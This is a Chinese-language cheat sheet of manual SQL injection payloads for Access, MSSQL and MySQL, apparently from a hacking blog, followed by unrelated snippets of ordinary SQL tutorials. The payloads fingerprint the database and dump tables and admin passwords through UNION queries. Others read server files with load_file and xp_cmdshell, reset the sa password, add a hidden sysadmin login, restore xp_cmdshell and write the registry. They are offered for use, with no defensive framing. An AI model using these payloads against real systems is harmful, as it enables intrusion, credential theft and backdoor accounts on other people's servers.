手工注入常用SQL语句

判断数据库类型:
Access:
and (select id from MSysAccessObjects) >0 返回正常说明是access

MSSQL:
and (select id from sysobjects) >0 返回正常说明是mssql

MySQL:
and length(user())>0 返回正常说明是MySQL

mysql:

1.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询
2.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10
3.再利用union来查询准确字段,如: order by 或者and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。
4.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。
5.如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。

6、检测是不是root权限 and/**/ord(mid(user(),1,1))=114/*

7、mysql内置函数hex()转换字符为16进制,如select hex(user())
mysql内置函数unhex() 解码16进制,如select unhex(hex(user()))

8、mysql内置函数concat()将多列合并成一列,如select concat(username,0x3A,password) from t_member

9常用内置函数使用:
select system_user() 查看系统用户

select current_user() 查询当前用户

select user() 查询用户

SELECT version() 查询数据库版本

SELECT database() 查询当前连接的数据库

select @@version_compile_os 查询当前操作系统

select @@datadir 查询读取数据库路径
select @@basedir 查询MYSQL安装路径

----------------------淫荡的分割线---------------------------------------------

去掉limit 1,1为查询出所有行,第一个数字代表查询第几个,第二个数字代表一次查询出的数量
第一个数字从1开始递增,查询到3时浏览器返回错误,说明存在2个库/表。

10、查数据库数量
union select cuncat(schema_name,0x3A) from information_schema.schemata limit 1,1

11、查询表
union select table_name from information_schema.tables where table_schema =库名 limit 1,1

MSSQL:

检测是否为SA权限
and 1=(select IS_SRVROLEMEMBER(‘sysadmin‘));--

检测是否为DB权限
and 1=(Select IS_MEMBER(‘db_owner‘))

爆所有数据库 union select name from master.dbo.sysdatabases where dbid=1 1代表第一个库

爆所有表
第一张表 union select top 1 name from 库名.dbo.sysobjects where xtype=‘U‘

第二张表 union select top 1 name from 库名.dbo.sysobjects where xtype=‘U‘ and name not in(‘第一张表‘)

第三张表 union select top 1 name from 库名.dbo.sysobjects where xtype=‘U‘ and name not in(‘第一张表‘,‘第二张表‘)
...

爆列:
爆ID select id from seay.dbo.sysobjects where xtype=‘U‘ and name=‘admin‘

爆第一个列 select top 1 name from seay.dbo.syscolumns where id=ID号

爆第二个列 select top 1 name from seay.dbo.syscolumns where id=ID号 and name not in(‘第一个列‘)
...

爆数据:
select 列名 from 表名

exec master.dbo.xp_dirtree ‘c:\‘; 遍历目录
exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
exec master.dbo.xp_subdirs ‘c:\‘;-- 获得子目录列表
exec master.dbo.xp_dirtree ‘c:\‘;-- 获得所有子目录的目录树结构
exec master.dbo.xp_cmdshell ‘type c:\web\web.config‘;-- 查看文件的内容

备份数据库:backup database 库名 to disk=‘c:/l.asp‘;

MSSQL内置函数:
select @@version 查询数据库版本

select user_name() 查询当前数据库连接用户名

select db_name() 查询当前数据库名

更改sa密码
exec sp_password NULL,‘新密码‘,‘sa‘

添加SA权限用户
exec sp_addlogin ‘username‘,‘pass‘,‘master‘;
exec sp_addsrvrolemember ‘username‘, sysadmin

检测是否支持多行
;declare @d int;--

停掉或激活某个服务。

exec master..xp_servicecontrol ‘stop‘,‘schedule‘
exec master..xp_servicecontrol ‘start‘,‘schedule‘

解开压缩档。

xp_unpackcab ‘c:\test.cab‘,‘c:\temp‘,1

恢复 xp_cmdshell
;exec master..dbo.sp_addextendedproc ‘xp_cmdshell‘,‘xplog70.dll‘;--

开启沙盘模式:
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Jet\4.0\Engines‘,‘SandBoxMode‘,‘REG_DWORD‘,1

时间: 2024-10-30 23:56:57

手工注入常用SQL语句的相关文章

手工MSSQL注入常用SQL语句

个人收集整理 and exists (select * from sysobjects) //判断是否是MSSQL and exists(select * from tableName) //判断某表是否存在..tableName为表名 and 1=(select @@VERSION) //MSSQL版本 And 1=(select db_name()) //当前数据库名 and 1=(select @@servername) //本地服务名 and 1=(select IS_SRVROLEME

Oracle数据库常用Sql语句大全

一,数据控制语句 (DML) 部分 1.INSERT  (往数据表里插入记录的语句) INSERT INTO 表名(字段名1, 字段名2, --) VALUES ( 值1, 值2, --); INSERT INTO 表名(字段名1, 字段名2, --)  SELECT (字段名1, 字段名2, --) FROM 另外的表名; 字符串类型的字段值必须用单引号括起来, 例如: 'GOOD DAY' 如果字段值里包含单引号' 需要进行字符串转换, 我们把它替换成两个单引号''. 字符串类型的字段值超过

oracle常用SQL语句(汇总版)

Oracle数据库常用sql语句 ORACLE 常用的SQL语法和数据对象 一.数据控制语句 (DML) 部分 1.INSERT (往数据表里插入记录的语句) INSERT INTO 表名(字段名1, 字段名2, ……) VALUES ( 值1, 值2, ……); INSERT INTO 表名(字段名1, 字段名2, ……) SELECT (字段名1, 字段名2, ……) FROM 另外的表名; 字符串类型的字段值必须用单引号括起来, 例如: ’GOOD DAY’ 如果字段值里包含单引号’ 需要

Ubuntu 下安装sqlite3 及常用SQL 语句

安装sqlite3命令如下: 1 sudo apt-get install sqlite3 创建或者打开已有的数据库文件: 1 sqlite3 test.db 进入数据库后,可以进行以下常用SQL语句操作: CREATE TABLE ONT_USER_TABLE( ONT_USER_NAME text PRIMARY KEY, ONT_USER_PWD text NOT NULL, ONT_CREATE_TIME text ); INSERT INTO ONT_USER_TABLE values

常用sql语句及案例

目录 1)基本 2)数学函数 3)rownum 4)分页 5)时间处理 6)字符函数 7)to_number 8)聚合函数 9)学生选课 10)图书馆借阅 基本 --新建表: create table table1( id varchar(300) primary key, name varchar(200) not null); --插入数据 insert into table1 (id,name) values ('aa','bb'); --更新数据 update table1 set id

MySQL常用SQL语句(Python实现学生、课程、选课表增删改查)

以基本的学生选课为例,建立选课数据库,学生.班级.选课信息三张表,并分别对表进行插删改操作: import MySQLdb try: conn = MySQLdb.connect(host = 'localhost', user = 'root', passwd = 'root', db = 'xuanke', port = 3306) cur = conn.cursor() cur.execute("CREATE DATABASE xuanke") cur.execute("

mysql基础(二) 常用SQL语句

SQL语句类型:     DDL:数据库定义语言 create,drop,alter     DML:数据操作语言 insert,delete,update,select     DCL:数据控制语言 grant,revoke 常用SQL语句:     CREATE DATABASE #创建数据库 CREATE TABLE         #创建表 CREATE TABLE table_name(字段名,字段数据类型,约束条件) #创建表 CREATE INDEX            #创建索

学生表 课程表 成绩表 教师表常用SQL语句

学生表 课程表 成绩表 教师表 50个常用sql语句 建表 Student(S#,Sname,Sage,Ssex) 学生表 Course(C#,Cname,T#) 课程表 SC(S#,C#,score) 成绩表 Teacher(T#,Tname) 教师表 ---- If database exists the same name datatable deletes it. IF EXISTS(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHE

经典MSSQL语句大全和常用SQL语句命令的作用

下列语句部分是Mssql语句,不可以在access中使用. SQL分类: DDL类型包括数据库.表的创建,修改,删除,声明—数据定义语言(CREATE,ALTER,DROP,DECLARE) DML类型包括数据表中记录的查询,删除,修改,插入—数据操纵语言(SELECT,DELETE,UPDATE,INSERT) DCL类型包括数据库用户赋权,废除用户访问权限, 提交当前事务,中止当前事务—数据控制语言(GRANT,REVOKE,COMMIT,ROLLBACK) 首先,简要介绍基础语句: 1.说